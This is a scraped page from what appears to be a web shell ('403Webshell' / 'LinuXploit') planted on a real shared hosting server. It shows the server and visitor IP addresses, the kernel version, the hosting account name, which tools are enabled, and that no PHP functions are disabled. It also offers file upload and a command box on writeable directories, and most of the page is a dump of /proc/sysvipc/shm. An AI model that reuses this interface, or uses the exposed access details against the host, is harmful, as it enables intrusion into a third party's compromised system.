403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  205979648  1600                651040 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563053                651264                     0
         0  205979649  1600                672744 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563055                675840                     0
         0  205979650  1600                694432 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563057                696320                     0
         0  205979651  1600                716128 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563059                716800                     0
      5555          4   644                  1024  5209 1620871      0     0     0     0     0 1759910538 1759910538 1741785104                  4096                     0
         0  205979653  1600                737816 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563066                741376                     0
         0  205979654   600                759512 1627831 1726410      2   477   471   477   471 1759912143 1759912143 1754563068                761856                     0
         0  293437447  1400                123908 649579 1928199      2   483   477     0     0 1759896944          0 1759896944                126976                     0
   5432001  241532941   600                    56 3415266 1726353      6    26    26    26    26 1759912143 1759912143 1756464004                  4096                     0
         0  293601305  1600                524288 1720755 1720755      2  1226  1185  1226  1185 1759912142 1759912078 1759912029                  8192                     0
         0  205946909  1600                   576 1627824 1726410      6   477   471   477   471 1759912143 1759912143 1754562988                  4096                     0
         0  205946910  1600               1679056 1627824 1726410      6   477   471   477   471 1759912143 1759912143 1754562988               1679360                     0
         0  205946913  1600                 21744 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754562991                 24576                     0
         0  205946914  1600                 43456 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754562993                 45056                     0
         0  205946915  1600                 65160 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754562995                 65536                     0
         0  205946916  1600                 86856 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754562997                 90112                     0
         0  205946917  1600                108560 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754562999                110592                     0
         0  205946918  1600                130312 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563001                131072                     0
         0  205946919  1600                152008 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563003                155648                     0
         0  205946920  1600                173712 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563006                176128                     0
         0  205946921  1600                195408 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563008                196608                     0
         0  205946923  1600                217112 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563010                221184                     0
         0  205946924  1600                238816 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563012                241664                     0
         0  205946925  1600                260544 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563014                262144                     0
         0  205946926  1600                282240 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563016                282624                     0
         0  205946927  1600                303944 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563018                307200                     0
         0  205946928  1600                325632 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563020                327680                     0
         0  205946929  1600                347328 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563023                348160                     0
         0  205946930  1600                369016 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563025                372736                     0
         0  205946931  1600                390704 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563027                393216                     0
         0  205946932  1600                412400 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563029                413696                     0
         0  205946933  1600                434096 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563032                434176                     0
         0  205946934  1600                455784 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563034                458752                     0
         0  205946935  1600                477472 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563036                479232                     0
         0  205946937  1600                499168 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563038                499712                     0
         0  205946938  1600                520856 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563040                524288                     0
         0  205946939  1600                542544 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563042                544768                     0
         0  205946940  1600                564240 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563045                565248                     0
         0  205946941  1600                585936 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563047                589824                     0
         0  205946942  1600                607632 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563049                610304                     0
         0  205946943  1600                629336 1627831 1726410      1   477   471   477   471 1759912143 1759912143 1754563051                630784                     0

Youez - 2016 - github.com/yon3zu
LinuXploit